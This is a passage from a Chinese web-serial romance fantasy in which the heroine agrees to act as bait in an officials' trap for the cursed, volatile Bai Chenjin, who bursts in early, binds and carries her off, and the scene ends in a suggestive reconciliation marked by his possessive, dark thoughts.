沈染星不疑有他,伸手拉过纪明月微凉的手,凑近了些,压低声音道:“是京城来的人,说是白尘烬又犯下大案子了,屠了天瑶庄一个别院,死了好多人。他们来找我,是想让我帮忙,等白尘烬回来的时候,设下陷阱抓住他!” “你答应了?” “答应了。” 纪明月的心陡然一沉,抿紧了唇,一时间竟不知该说什么。 国师座下的弟子,大多被培养成独来独往的利刃,彼此之间并无多少情谊,她对这位名义上的师妹其实了解甚少。 最初接到指令时,她以为这又是一次司空见惯的美人计,让这位容貌出色的师妹接近白尘烬,待其放下戒心,再给予致命一击,将其拖入万劫不复的深渊。 可随着时间推移,与沈染星的朝夕相处,她发现自己错了,而且错得离谱。 这位师妹的言行举止,处处透着古怪。 她似乎……太投入了。 不仅没有按照计划一步步引导白尘烬失控或走向毁灭,反而屡次三番在关键时刻维护他,甚至她的某些行为,已经开始反过来威胁到国师一方的布局和势力。 有一段时间,纪明月甚至严重怀疑她已经叛变。 可……生死状还牢牢握在国师手中。若她真的背叛,哪还有命活到现在? 于是,纪明月考试怀疑她的身份。 眼前这个人,或许根本就不是她那个被派来执行任务的师妹,只是一个容貌相似,但内在喜好、厌恶、行为习惯全然不同的……另一个人。 她记得,那个真正的师妹,内心饱受杀戮的煎熬,时常会去寺庙吃斋念佛,试图寻求心灵的慰藉与救赎。 可眼前的沈染星,分明对僧佛之事流露出明显的排斥,甚至恐惧。 在纪明月终于接受眼前之人不是那位师妹时,却又见她毫不犹豫答应设陷抓捕白尘烬的行动。 今日所见猛地将纪明月拉回了现实,仿佛看到了计划最终收网的一幕。 这熟悉的任务完成方式,让她感到一阵刺骨的冰寒。 眼前似乎又不受控制地浮现出那个纠缠她多年的梦魇画面。 混乱之中,雪拂因关心则乱,不顾一切地朝她冲来,却正正踩入了她早已布下的致命陷阱。他倒在枯萎的树下,双目紧闭,而她,则握着那柄冰冷的匕首,毫不犹豫地,精准地,刺入了他的心脏…… 沈染星此刻所为,与记忆产生了某种诡异的重叠。 纪明月瞬间呼吸困难,脸色愈发苍白。 “你怎么了?”沈染星终于察觉到她的不适并非作假,是真的状态极差。 牵过手她的手,也是触手一片冰凉。 纪明月抬起眼:“谁都可以……” 纪明月看着她,可又像是透过她,在看谁。 她眼尾晶莹闪烁,某一瞬间,沈染星几乎以为她哭了,可定睛一看,那不过是树叶透下了一点日光。 纪明月声音很轻:“……可为什么偏偏是你?” 沈染星听着一头雾水:“谁?” 纪明月静静看着她。 谁都可以背叛白尘烬,利用他,伤害他,可为什么偏偏是你?是他难得放下戒备、允许靠近的人?是他似乎……真正在意的人? 这种被最亲近、最信任之人从背后捅刀的感觉,她……亲手施加过。她知道那有多痛,多绝望。 一股强烈的冲动涌上心头,她想阻止沈染星,想告诉她不要这么做。 可是……她有什么资格? 她自己就是潜伏的细作,就是那个一直在欺骗、在利用的人。 她手上沾着的血,并不比任何人少。她又有什么立场,去阻止另一个人执行与她相似的任务? 她慢慢挣脱了沈染星握着她的手,深吸了几口气,脸上重新恢复了惯有的冰冷。 “你,”她说,“他很危险,你小心一些。” 沈染星点头:“好。” 官府的人动作极快,翌日一早,共生苑外便来了数十名便服官差。 他们并未大张旗鼓进来,而是以协助布防,清查隐患为由,开始在妖院外围以及内部的几个关键节点忙碌起来,刻画符文,埋设阵基。 空气中弥漫开一种无形的紧张感。 院里的雇员和小妖们虽然不敢明着阻拦,但都远远观望着,窃窃私语,脸上写满了不安与惶惑。 那隐隐流转的力量波动和符文中透出的肃杀之气,让感知敏锐的妖族尤其不适,整个共生苑都笼罩在一片山雨欲来的压抑之中。 与此形成鲜明对比的,是书房内的沈染星。 她端坐在书案后,仿佛对外面的纷扰充耳不闻,正凝神提笔,在铺开的信笺上缓缓书写。 墨迹才刚落下“萧霁”二字,书房门便被人猛地从外面推开。 “哐当”一声巨响,沈染星手腕一抖,笔尖在纸上划出一道难看的墨痕,整张信笺就这么废了。 她无奈地放下笔,看向闯进来的乔阿盈。 “阿盈,以后进门能不能不要这么冒冒失失的?如果在其他规矩森严的大户人家手下做事,就凭你这毛躁劲儿,早被管事打发到闲散岗位去了。” 乔阿盈下意识道:“我又不会去他们那处做事。” 说完,她才猛地想起自己急匆匆跑来的目的,几步走到书案前,急切地问道:“东家,外面那些官差到底在做什么呀?我看他们神神秘秘的,还在画一些看不懂的图案,院里懂行的妖偷偷告诉我,那好像不是什么安好的阵法……” 沈染星神色平静,重新铺开一张信纸,语气淡然:“官府办事,自然有他们的道理。他们既然说是为了清查隐患、加强防护,我们配合就行。无论他们需要做什么,你们尽力配合好就行,不要多问,也不要阻拦。” “可是东家,”乔阿盈急了,“听说他们布的阵感觉好凶……” “阿盈。”沈染星打断她,抬起眼,“别可是了,照我说的做,去安抚好院里的人,让他们不要惊慌,更不要试图干扰官差行事,一切……我自有分寸。” 说完,她便垂下眼眸,蘸了蘸墨,准备在新的信纸上继续动笔。 然而,她发现乔阿盈并没有离开,站在原地,一双大眼睛望着她,欲言又止。 “还有事?”沈染星问道。 乔阿盈抿了抿唇,声音低了下去:“东家,是不是发生什么事了?” 以前的东家,虽然有时会显得有些抠门计较,但对待院里的人和妖,总是护短的,绝不会像现在这样,对外人如此配合,甚至显得有些……冷漠。 沈染星握着笔的手指收紧了一瞬,正要开口,书房门外再次响起了脚步声,一名雇员的声音传来: “东家,外面的官爷说,布阵遇到些关窍,想请您过去一趟,说是有事需要您相助。” 其实也并非多么复杂困难的事。 他们说,白尘烬实力深不可测,尤其失控暴走之时,力量更是骇人,寻常阵法根本困他不住,而若布下威力过强的大阵,又极易被他提前察觉。 所以,需要一个人,一个能让他放下戒备,主动踏入阵法中心的人。 而那个人……就是她。 当然,那些官差再三强调会保证她的安全,会在阵法外围布下重重防护,更有高手隐匿在侧,一旦他入彀,立刻启动阵法,绝不会让她受到丝毫伤害。 他们担心沈染星不配合,还答应给与一笔补偿。 领头的这种事经历不少,劝说的话信手拈来。 当沈染星略一犹豫,他便想着劝导一番,可话还未说出,便听见沈染星道:“只补偿这么点钱吗?” 于是补偿翻了倍。 才谈定金额,又听她说:“口说无凭,要先给定金。谁知道你们事后认不认账?” 领头的便派人送来了银两。 沈染星收到银两后,还不满足。 领头之人额角青筋跳了跳,强忍着怒气,听她的要求。 沈染星道:“你们打斗损坏的东西,可是要照价赔偿的。” 在沈染星挤牙膏似的一而再,再而三地提要求后,领头的咬着后槽牙,都答应了下来。 说实话,见他们财大气粗点模样,沈染星还想敲一笔。 可见那人眼冒肝火的模样,她识趣地放过了他。 与官差敲定所有细节,送走那被她气得一肚子火气的人后,沈染星回到自己房间时,已是月上中天,万籁俱寂。 屋内一片漆黑。 她摸索着走到桌边,刚点燃一盏烛火,冷不丁听见身后传来水滴落地的声音。 沈染星心头猛地一跳,豁然转身。 房间最深的阴影角落里,几乎与黑暗融为一体,静静地立着一个高大的身影。 唯有那双眼睛,在浓稠的黑暗中亮得惊人,如同蛰伏的野兽,正死死地,一瞬不瞬地盯着她。 沈染星倒吸一口凉气,下意识脱口而出:“你不是明天才能回来吗?” 那些官差明明信誓旦旦地告诉她,已派人设法绊住了白尘烬的脚步,预计最快也要明日午时才能脱身返回。 可他怎么会突然出现在这里。 ……是他吗? 来人没有回答她的问题,只是冷冷地轻笑一声。 他抬起手,扔过来一样东西,落在沈染星脚边。 那是她昨日收拾好包袱。 “你要去哪里?”他哑声问道。 沈染星的视线从地上的包袱移到来人身上,心脏狂跳,张了张嘴:“我……” 然而,她刚吐出一个字,眼前便是一花。 一道素白色的帛带闪过,以迅雷不及掩耳之势,精准地勒住了她的嘴,让她后续所有的话语,都化作了一声模糊的呜咽。 即便当下受制于人,沈染星却松了口气。 这素帛气息凛冽,带着雪松的气息——是他。 这口气还未松完。 白尘烬自阴影中踱步而出,暴露在烛光之下。 看清他这副模样的瞬间,沈染星又猛地倒吸了一口冷气,双眸也瞠大了。 他居然……把素帛给解了。 第67章 她竟是一个狼狈的粽子…… 白尘烬的长发只是用一根简单的发带随意挽起, 并未束紧,几缕湿漉漉的发丝,黏在他修长的脖颈和线条分明的侧脸上,末端还挂着未干的水珠, 正一滴、一滴地落下, 在地板上晕开小小的深色痕迹。 他似乎刚经历过一场匆忙的沐浴, 连头发都未来得及绞干,便带着一身水汽与寒意寻到了这里。 比那未干的发丝,更引人注目的, 是他裸露在外的肌肤上浮现出的奇异图案。 那图案自微敞的领口处延伸出来, 是一种诡异的灰蓝色, 似跳动的幽焰,又似弥漫的浓雾,缠绕盘桓,自右侧脖颈蜿蜒而上,绕过耳后, 又从鬓角处攀爬而出, 如同某种古老的, 简练而虚幻的龙形图腾, 若隐若现地烙印在他苍白的皮肤上,原始而神秘。 在昏暗摇曳的烛光下,沈染星几乎能肉眼看到他周身溢出的凛冽戾气。 这股骇人的气息,与他身上那非人的图案相互呼应、交织,形成了一种极具冲击力的视觉与感官效果, 充斥着令人毛骨悚然的诡异与压迫感。 猝不及防地看到他这副模样,全然陌生的,似人非人, 沈染星的大脑一片空白。 与此同时,她对原书女主萧霁雪的审美……产生了巨大的怀疑和强烈的不信任! 原书中明明写着,萧霁雪第一次见到白尘烬显露这般形态时,不仅没有畏惧,反而轻轻触碰了他的皮肤,喃喃低语着“好美”…… 这怎么能称之为美。 这分明就是阴森诡谲,令人望而生畏! 沈染星知道自己喜欢白尘烬,深信“情人眼里出西施”的道理,并且自认为自己对白尘烬的包容度和滤镜已经足够厚重。 可即便有着这般厚实的滤镜加持,此刻她也无法违心地否认,那股源自生命本能,对未知与非人存在的恐惧感,已经如同浓雾般,将其中的美感彻底笼罩,吞噬了。 白尘烬不疾不徐地朝着沈染星靠近。 他的步伐很稳,踏在寂静的地板上,几乎没有声音,却每一步都像是踩在沈染星心跳上。 她听见自己胸腔里愈发激烈的心跳声。 一股惧意,伴随着他身上的水汽与冰冷戾气的压迫感,悄然滋生。 沈染星忽然想起,之前自己还曾暗暗羡慕,甚至有些嫉妒萧霁雪,因为对方有机会看到他素帛之下隐藏的肌肤与秘密。 而她和他,即便关系一近再近,也没能寻到机会目睹一番。 可如今真的看到了,心底涌起的却不是惊艳与满足,而是难以抑制的忐忑。 以及……一丝对自己这不争气反应的恼怒。 果然,萧霁雪非同寻常的包容度与心理承受能力,还是她这种普通人所无法比拟的。 想到这里,沈染星感到一阵心塞。 她抬手,想要扯开勒住嘴巴的素帛。 然而,她的手刚刚抬起,便感到手腕处一紧,那灵性十足的素帛如同拥有自己的意识般,猛地收紧,将她的双手强行拉拢,牢牢束缚在了身后。 紧接着,不等她反应过来,那素帛如同活物般,开始在她身上急速缠绕起来。 从纤细的脚踝开始,一圈紧过一圈,不断向上蔓延,小腿、膝盖、大腿腰肢…… 沈染星惊愕,眨了几下眼睛,看着眉眼冷笑的白尘烬,完全不明所以。 这又是在演哪一出? 怎么突然间……就把她绑成一个动弹不得的粽子了?! 沈染星最终也没能问出口,白尘烬这般大费周章地把她绑起来究竟意欲何为。 白尘烬走到她跟前,面无表情地弯腰,一手捞起地上的包袱,另一只手托住她的膝弯,就这么将她竖着抱了起来,转身,足尖一点,跃出了窗外。 夜风在耳边呼啸,景物在脚下飞速倒退。 沈染星被紧紧禁锢在他怀里,动弹不得,只能眼睁睁看着共生苑的灯火在视野中迅速缩小、远去。 白尘烬在连绵的屋顶上如履平地,身形矫捷,不过片刻功夫,便落在了一处静谧雅致的院落之中。 双脚刚触及冰凉的石板地面,沈染星一抬眼,便看到了—— “冯老板?”她呜呜发出大致的声音。 冯维翰本来独自站在清冷的庭院中,听到动静,抬头看去。 见白尘烬抱着沈染星从围墙外跃入,身上的素帛早已解下,那素帛把沈染星捆得结结实实,还勒进嘴里…… 见到这个场面,冯维翰脸上那惯常的沉稳瞬间碎裂,露出一副活像是大白天见了鬼般的惊愕表情,嘴巴微张,半天没能合上。 白尘烬淡漠地瞥了他一眼。 冯维翰立刻像是被针扎了一下,猛地回过神,迅速收敛了所有外露的情绪。 他恭敬地低下头,弯腰指向院落一侧的厢房:“少爷,房间已经按您的吩咐准备好了。” 白尘烬点了一下头,抱着沈染星,迈步便朝着那间厢房走去。 冯维翰留在原地,目光复杂,看着白尘烬挺拔却透着孤绝戾气的背影。 不期然间,他与被竖抱着的沈染星对上了视线。 对上了视线后,沈染星像是抓住了救命稻草一般,疯狂地朝他眨着眼睛,试图沟通,被勒住的嘴里发出模糊的“唔唔”声。 冯维翰嘴角微微抽搐了一下,慢慢移开目光,装作什么都没看见。 回想起下午时分,白尘烬如同血狱修罗般,突然闯入他这里的场景,冯维翰至今仍心有余悸。 那时白尘烬满身血污,煞气冲天,冯维翰几乎以为他是来清理门户、杀人灭口的。 然而,出乎他意料的是,白尘烬开口,竟是要求他协助压制体内那几乎要失控暴走的力量。 关于白尘烬体内那诡异而强大的力量,冯维翰了解得不少。 在他年幼时,当自身无法控制那股力量时,确实备有专门的药物和阵法来强行压制。 但很快他们便发现,依靠外力压制后,下一次力量反扑时会变得更加凶猛难驯。权衡之下,最终决定只由白尘烬自行压制。 可惜,他自身显然难以完全驾驭,一次失控甚至险些伤及其母亲。 盛怒与恐惧之下,他父亲便动了将他永久囚禁的念头。 甚至决定,若最终无法控制,暴走而亡,或许也是他的宿命。 后来,一位云游的道人听闻此事,据说还是白尘烬母亲的故交,主动提出愿意带他离开,一边云游一边寻找解决之道,并承诺会助他压制力量。 那三年间,据传效果颇佳,白尘烬似乎渐渐找到了与体内力量共存的方式。 然而,一切的平衡都在那云游道士的大婚之日被彻底打破。 不知何故,白尘烬再度失控,血洗了婚宴。 那道士拼尽全力才勉强将他制住,自身却也元气大伤,从此一蹶不振,终日借酒浇愁,最终不明不白地自尽身亡。 自那以后,白尘烬便又成了孤身一人。 他母亲心有不忍,想将他接回上京照料,却被他父亲以担心惨剧重演为由严词拒绝,这无异于将他变相流放于这边境之地。 更雪上加霜的是,国师麾下的追杀从未停止,这其中是否有他父亲的默许,甚至推动,谁也说不清。 冯维翰是受白尘烬母亲密令,暗中保护他的人。 白尘烬自幼便难以分辨身边之人是敌是友,连冯维翰对他接触的人,也常常难以断定其立场与目的。 冯维翰在心中暗叹一口气。 许多人身份模糊,难以判断,可沈染星却是板上钉钉的国师座下弟子,是派来接近他的细作。 这一点,他早已查实并告知过白尘烬。 然而,白尘烬却像是充耳不闻,非但不加防备,反而屡次维护,如今更是直接将人掳了回来…… 这简直是……引狼入室。 冯维翰感到一阵深深的无力与惆怅。 若是这沈染星最终得手,害了白尘烬的性命,那他自己的人头,恐怕也难保了。 正当他思绪纷乱之际,那间厢房内突然传来“哐当”一声重物落地的闷响。 冯维翰心头一紧,下意识就想冲进去查看情况。 但脚步刚动,他便硬生生顿住了。 里面被绑着的是沈染星,而白尘烬此刻明显占据着绝对的上风,应当不会有危险,自己贸然闯入,恐怕反而会触怒于他。 他脚尖一转,最终还是选择了朝院外走去。 罢了,罢了,眼下还有更重要的事情需要他焦头烂额地去处理。 从前,白尘烬对自己身上背负了多少罪名浑不在意,也从不辩解。 可这一次,对于天瑶庄别庄被屠一事,他却明确否认了。 也是稀奇,他突然便开始在意起了自己的名声。 既然他说不是他做的,那冯维翰就必须倾尽全力去查个水落石出。 白尘烬转身,迈着沉缓的步子,走回到美人榻前,蹲下身,伸手托起了沈染星的腿。 他的手掌宽大,不轻不重捏着。 沈染星躺在柔软的榻上,将自己的腿从他手中抽回来。 她的腿并没有受伤,方才那一下不过是情急之下的举动。 就在不久前,白尘烬将她放在这软榻上后,竟一言不发,转身就要离开。 可他身上的素帛还牢牢束缚着她,沈染星心中警铃大作,直觉他此刻出门绝无好事,偏偏口不能言,焦急之下,也顾不得许多,抬脚就将榻边一只半人高的青瓷花瓶给踹翻了。 瓷瓶落地,发出清脆的碎裂声,碎片四溅,并未伤及被绑着的她。 手中一空,白尘烬心底又猛地涨起一股戾气。 他已经无法自欺欺人了,沈染星会帮那些人捕他,杀他,离开他。 不说无所谓,他把那些人全清理干净,在把她关起来便好。 白尘烬缓缓站起身,垂着眼帘,居高临下地凝视着她。 阴影压迫在沈染星头顶。 两人的目光在空中相遇、纠缠,就在这一刹那,他的眼神尖锐,冰冷,像是会拧断她的脖颈。 他变得有些陌生。 沈染星恍惚间觉得,自己似乎正在重新认识他。 而此刻,她不得不承认,她是害怕的。 因为她不自觉屏住了呼吸,还缩了缩脖子。 盯着她这副瑟缩的模样,白尘烬突然非常想听她说话,骂他可以,诅咒他也可以,他只想听听她的声音。 他微微俯下身,伸手,扯下了勒在沈染星嘴里的素帛。 沈染星反而有些反应不及。 她想过他盛怒之下可能会做的许多事情,却唯独没想过,他会突然松开口中的素帛。 “包袱呢?”沈染星问道,那里面可是她大部分钱财! 白尘烬只是静静地看着她。 都这种时候了,她最先关心的,竟然还是那些身外之物? 沈染星见他没反应,更加焦急:“那是我们逃走时用的盘缠,你快收好,别弄丢了!” “我们?” “不然呢?” 白尘烬周身气息凝滞了一瞬。 沈染星一顿。 从他的反应看来,似乎拒绝了她的提议。 尽管知道他不久前才经历了一场惨烈的围杀,但他如今的气息也太骇人了,透着一股随时可能彻底失控、毁灭一切的不可控感。 她放软了声音:“你可以先放开我吗,绑得我有些疼了。” “疼么?”白尘烬轻笑一声,似乎看穿了她的谎言。 沈染星:“……” 的确是不疼。这素帛不知是何材质,束缚得虽紧,却奇异地并未带来痛感。但被他以这种方式捆绑着,面对着他此刻陌生而危险的状态,她感到一种极度的不安与缺乏安全感。 她沉默了一下,选择坦白:“我承认,是不疼。但是你这么绑着我,我真的很不舒服,浑身都动弹不得。而且……你现在这个样子,让我有些害怕。” 白尘烬默然不言,只是呼吸有些不稳。 看吧,说实话又不爱听了。 她斟酌了片刻,继续说道:“这两天你去哪里了?我听说他们派了不少人去追杀你,我担心死了。刚才看到你没事,我本来放下心来,可看到你无缘无故把我绑起来,又一副要去杀人的样子,你变成这样,我又有些害怕。” 她觉得,这简直可以算是肺腑之言了。 白尘烬直起身,笼罩在她头顶的压迫性阴影终于撤离了些许。 沈染星心中微松,以为他终于要冷静下来,愿意沟通了。 然而,她听到的,却是他一句冰冷的陈述:“这才是我。” 沈染星一噎,随即道:“是你也好,不是你也好,能不能先松开我再说话。” 白尘烬没有再说话。 沈染星在这沉默的对视中,目光不由自主地再次落在他脸上、颈侧那些灰蓝色的诡异图腾上。 那图案越看越觉得陌生,越看越觉得与他平日素帛遮掩下的模样判若两人。 她突然有些委屈。 她原先以为,他们之间是特别的,是有着奇妙缘分的,所以当她终于有机会看到他隐藏的全貌时,也该如同书中描写的那般,带着一种惊心动魄的、唯美的震撼。 哪里想得到,现实里,她竟是一个狼狈的粽子! 别说唯美,她甚至还有些害怕他气息。 沈染星抿紧了嘴唇,移开了视线,不想再看。 下一刻,一只微凉的手猛地插入了她的发丝间,一把扣住了她的后脑勺,迫使她再次转过头,直面他的脸。 或许是因为他刚沐浴不久,身上传来一股淡淡干净的皂角香气,毫不留情地侵袭着她。 连气息……都变得不一样了。 沈染星只觉得心脏胀胀的,胀得难受,胀得发疼,疼得她眼眶一热,视线瞬间就模糊了。 第68章 他想要更多 白尘烬脑袋不断传来刺痛, 见到她的眼泪,刺痛更甚,几乎要撕裂他的理智。 他垂在身侧的手部肌肉抽动,青筋暴起, 似乎下一秒钟, 那压抑到极致的力量就会彻底爆发, 将周遭一切撕碎。 恐怖而尖锐的情绪在他胸口积淤、膨胀,那是强行用药物和古老阵法将濒临失控的力量压制下去后,带来的疯狂反噬。 他眼前出现了过往景象, 遍地残肢内脏, 新旧尸体交叠, 温热的血液涌出,浸透了他的鞋底,满室都是令人作呕的腥臭气息。 杀意,如同毒藤般缠绕着他的心脏。 按照他过往最直接的方式,他本该将那些胆敢威胁、围剿他的人, 全部杀干净, 一个不留。 没了威胁, 那在他血脉中躁动咆哮的力量才能得到片刻的平息, 那焚心的焦躁才能得以压制。 可这一次,他没有。 他没有将那些埋伏的杀手赶尽杀绝。 因为若真那么做了,清理战场,摆脱追兵,他至少要明日才能赶回共生苑。他知道, 他等不到明日,他必须立刻回来。 于是今日午时便不管不顾,突破围剿, 回到了共生苑。 可他看到了什么。 看到了她纵容朝廷官差布阵绞杀他,看到了她平静地如常地处理事务,看到她收拾好的准备离开的行李,看到她……答应别人以自己为诱饵引他入局。 她满口谎言,即便此时此刻,还想怕骗他。 他必须杀人,把对她有威胁的人,把与她相关的人都杀了,把她永远锁在一个只有他知道的地方…… 这些黑暗的念头在他脑中疯狂叫嚣,似乎只有这样,才能缓解那几乎要将他逼疯的焦躁与不安。 就在这时,在那一片血色的幻象与杀意的嘶鸣中,一道突兀的抽噎声穿透进来。 只一瞬,白尘烬奇异的压下了那一股暴戾。 与他内心的躁动相比,他面上则显得冷静地多,只是皱着眉,一言不发地看着沈染星。 沈染星泪眼朦胧,与他对视。 按照往常,白尘烬现在该收敛起浑身的戾气,好声好气俯下身来,帮她擦眼泪。 现在跟块木头一样。 这般一想,沈染星哭的更凶了。 她许久没哭得这样伤心,抽噎着,在委屈和害怕的双重夹击中,差点背过气去。 白尘烬直挺挺站在那里,听了一会儿,浑身的戾气终是散去了一些,似乎终于被她的哭声打败了。 “别哭了……”他的声音沙哑,语气有些温和又生硬。 她抽泣道:“你快点松开我。” 一言不发,不给个解释就把人绑起来,哪有人这样的。 白尘烬松了素帛:“好。” “你不要这么凶巴巴的。” 白尘烬沉默片刻:“我尽量。” 沈染星活动手脚,认真看了下他肌肤上的图案,其实单看图案,繁复中甚至带着一种古老的神秘之美,并不可怕。 与他那身失控的、毁灭性的气息结合在一起,才显得如此骇人。 她忽然想起萧霁雪总能见到他温和一面的。是了,他定是在萧霁雪面前极力收敛了这一切,展现出的才是更容易被接受的、更温和的模样。 所以萧霁雪更容易接受,也说得过去。 沈染星随手拿起虚虚拢在身上的素帛,抹了抹眼泪:“现在外面很多人在追杀你,我们逃吧,我把大部分的钱都带出来,就在那个包袱里。” 见他没有立刻回应,她退了一步:“先离开这里,找个地方隐居一段时间,避避风头,过个一年半载,等事情平息了再回来也行。” 白尘烬强忍着颅腔内一阵烈过一阵的刺痛,走到角落,将那个被自己扔在一旁的包袱拾起,缓步走回沈染星面前。 他并未立刻打开,将它放在两人之间的矮几上。 “你确定,”他抬眸,眼底冰寒一片,“是想和我一起离开?” 说话时,他修长的手指开始解开包袱的结。 沈染星的视线不由自主地被他手上的图案吸引,那纹路并非静止,仿佛活物般在他皮肤下微微流动,带着一种诡异而强大的生命力,更显得他的手骨节分明与苍劲。 她看得入神,目光近乎赤.裸地流连其上,那专注甚至让白尘烬产生了一种想要将手收回的冲动。 但他忍住了,打开包裹:“里面没有我的东西。” 血洗流芳阁那次,李老板找上门,她决定离开,那般匆忙,也不忘收拾他行李的。 闻言,沈染星才艰难把目光从他手上移开,带着鼻音疑惑道:“怎么没有?” 白尘烬虽在某些他在意的事情上霸道专横,可平日里,在她身边,他几乎称得上是一个沉默的跟随者,从未像此刻这般较真过。 他今日这是怎么了? “哪样是我的?”白尘烬语气平静,随手抓起包袱里面的东西。 里面的物件简单,几瓶常用的伤药,两套衣裳,然后……便是厚厚一叠,几乎占据了全部空间的银票。 沈染星指着其中一件藏蓝色的衣袍:“那个就是你的衣服。” 见白尘烬不信,她补充道:“那是我刚到方圆镇就给你买的,只是后来发生了一些事,没送出去,后面我给忘了,前几日收拾包袱的时候看到,所以干脆收了这一件,不信,你可以试试大小,是合你身的。” 白尘烬没有作声,伸手抬起她的脸庞,径直压上她的唇。 太突然了,沈染星一惊,便又被他撬开了唇齿,探入了舌尖。 随着彼此气息交混,白尘烬脑中磨人的刺痛竟然就这样淡去了。 她的清甜气息取代了血腥残酷的回忆,驱散了翻涌沸腾的杀戮冲动。 眼前那幻视中满室的血污与残肢消失了,取而代之的,是她近在咫尺的眼睛。 那双惊愕,微红,还蒙着一层水光的眸子,依旧是那么明媚,那么鲜活,如同炙热又明媚的阳光,将他从无边黑暗的泥沼中,悍然拽回。 沈染星惊愕过后,眸子微微颤动,随即,纤细的脊背稍稍挺直,开始轻轻回应他。 她这一点微弱的回应,如同投入干涸荒原的一点星火,瞬间点燃了白尘烬压抑已久的所有情绪。 另一只手臂牢牢箍住了她腰身,把她朝自己一摁,吻得更深了。 他托住她下颌的手,甚至隐隐有些颤抖。 他是渴望沈染星的解释的,可又害怕的她的解释,万一她自暴自弃,说她靠近他就是为了完成任务,就是为了杀他,从前对他的一切都是假的,都是骗他的。 他……该如何是好? 是彻底毁了她,还是毁了自己? 他不敢想下去。 好在,她没骗他。 即便他根本没有去求证那衣服是否真的合身,他便已经迫不及待地相信了。 像一个在无边沙漠中跋涉的旅人,走了许久,许久,濒临渴死,终于看到了一片绿洲,明知可能是虚幻,迫不及待地认定那就是真的甘泉。 他厌恶世间一切威胁,体内那躁动不安的血脉力量更是会将任何潜在的威胁彻底抹除,而沈染星无疑是他最大的威胁。 换作任何一个人,早已在他手下死了千百回。 这本是他不可逾越的底线。 可为何,独独是她,能一次又一次地在他身边活下去,甚至一次次触碰,乃至践踏他的底线。 白尘烬的胸膛剧烈地起伏了几下,呼吸粗重,脑海中,闪过了一双眼睛。 那是…… 在他身中奇毒,又被人打入冰冷池塘,呛了无数污水,在生死边缘挣扎浮沉后,于一片混沌与黑暗中,奋力睁开眼时,看到的第一双眼睛。 那双眼睛里,盛满了担忧,欣喜,是那样的纯粹,清澈得如同山涧最干净的泉水,不掺一丝杂质。 他当时看得几乎入了神,看了许久,直到恐惧一点点爬上那双明媚的眸子,他才恍然惊醒,松开了钳制住她的手。 后来,他便时常想起那双眼睛。 他想,多好。 她的情绪因他而剧烈变化,那颗鲜活的心脏因他而急速跳动,真实,生动,有趣极了。 他一度沉溺于用自己的方式,去反复重现她眼底的恐惧,看着那恐惧因他而起,因他而浓,这让他有一种病态的掌控感和满足感。 可不知从何时起,他发现那远远不够。 她的情绪如此丰富多彩,有担忧,有欣喜,有愤怒,有羞涩……而他,似乎只执着于索取和放大其中一种。 他想要更多…… 如同当下一般,他想要更多。 那截原本安静垂落的素帛,仿佛拥有自己的生命般,悄然无声地再次游动起来,向着白尘烬的手腕缠绕而去。 然而,才不过绕了两圈,便倏然停顿下来。 白尘烬松开了沈染星的唇,垂眼看去。 沈染星的手轻轻攥住了素帛的另一端,阻止了它的动作。 他顿了一下:“你不喜欢我这副模样。” “不是,”沈染星立刻摇头,仰头看着他,“只是害怕你刚刚的气息,但看还是想看的。” “没什么好看的。” 白尘烬语气冷淡,抬了抬手,试图把素帛从她手中抽离。 沈染星却紧了紧手指,更坚定地攥住了素帛,拒绝了他的意图。 白尘烬轻轻皱了皱眉。 随着他周身那骇人的戾气逐渐收敛,那些遍布肌肤的暗色图腾,似乎也真的随之产生了微妙的变化。颜色不再那么深沉刺目,线条边缘柔和了些许,少了几分阴森,多了几分古老而神秘的美感。 她趁着他这一瞬的迟疑,跪坐起来,单手按住他的肩膀,将他向后推,让他靠在了柔软的枕垫上。 果然,距离拉近,光线更清晰地映照在他身上,她确认了那并非错觉。 那些图案真的在变化,比起之前的狰狞可怖,此刻更显得瑰丽而奇异。 她跨坐在他的膝盖上,伸出纤细的指尖,轻轻点触在他脸颊上,如同描绘星图,沿着那些变幻的纹路,缓缓向下,下颌,喉结,继续沿着脖颈向下…… 沈染星的眼睛几乎要亮了起来。 在她的指尖触碰下,他肌肤上的图案竟然对她产生了回应,些纹路微微发亮,泛起一层极其微弱月华般清冷的光晕,如同漫天的星辰。 在她眼也不眨的的注视下,白尘烬脸上的神情没什么明显变化,可他手却猛地攥紧了,那截素帛在他掌心被揉成一团,手背上的青筋根根凸起。 而身体也几乎是立刻不受控制地起了反应,紧绷而灼热。 沈染星凑近了些,细细观察着那流动的微光,喃喃低语:“怎么变得这样好看了……” 话音落下,白尘烬闭上眼,头向后仰去,脖颈拉出一道弧线,锁骨因此而变得愈发明显凸出。 沈染星亲了一下他锁骨上的图腾。 下一刻,她的手腕被捉住。 不知何时,白尘烬已经睁开了眼睛,另一只手钳制住她的下颌,迫使她与他对视:“想看?” 沈染星点头:“真的想看。” 他喉结滚动:“那便看吧。” 沈染星起初天真地以为,他真的只是让她看,或许是一场关于他血脉秘密的,心平气和的探讨。 从某种意义上来说,这确实是一场探讨,只是这探讨的方式,与她所想象的,彻彻底底地……不一样了—— 作者有话说:宝们,努力过了,双更有些困难,我抓耳挠腮,奋笔疾书,键盘敲得噼噼啪啪,一看字数,三千七。 第69章 囚禁在了这座精致而华丽…… 晚秋的天气干燥且肃杀, 可室内却愈发闷热,让人昏昏沉沉。 不知是因为墙角那盆里的炭噼啪燃烧得正旺,还是身前这人的身体太过滚烫。 总之,她的额角、鬓边乃至鼻尖都渗出了细密的汗珠, 晃动间, 热汗似乎将要流淌进眼睛里。沈染星闭了闭眼, 但旋即,一只手按住了她额头,迫使她微微仰头, 不容拒绝地命令道: “睁眼。” 一旦白尘烬接触了济世堂的人或事, 他身上总会不自觉地带上几分属于上位者的威严, 仿佛某种刻入骨髓的习惯被唤醒。 沈染星没立即睁眼,他的力道重了一下。 她喉间溢出一声闷哼,睁开了眼。 两人面对面,靠得极近,近到她可以看到他深沉眼眸里, 眉眼迷蒙的自己, 那图腾在如此近的距离下, 颜色似乎也变得愈发暗沉浓郁, 线条更加清晰狰狞,比方才似乎还要触目惊心一些。 或许是害怕,也或许是太过兴奋,她的心脏跳得飞快。 似乎察觉到了她的紧绷,他放缓了动作, 俯身,细细碎碎地吻她,温软若即若离, 像一场迷蒙暧昧的春雨。 她才放松了一些。 突然,他手一捞,肩膀抵着她的小腿,一压,随后,一阵翻江倒海。 这个视角,沈染星能看到他的肩颈月匈膛,她雪白的肌肤与暗得强烈的图案形成鲜明的对比,又诡异的和谐。 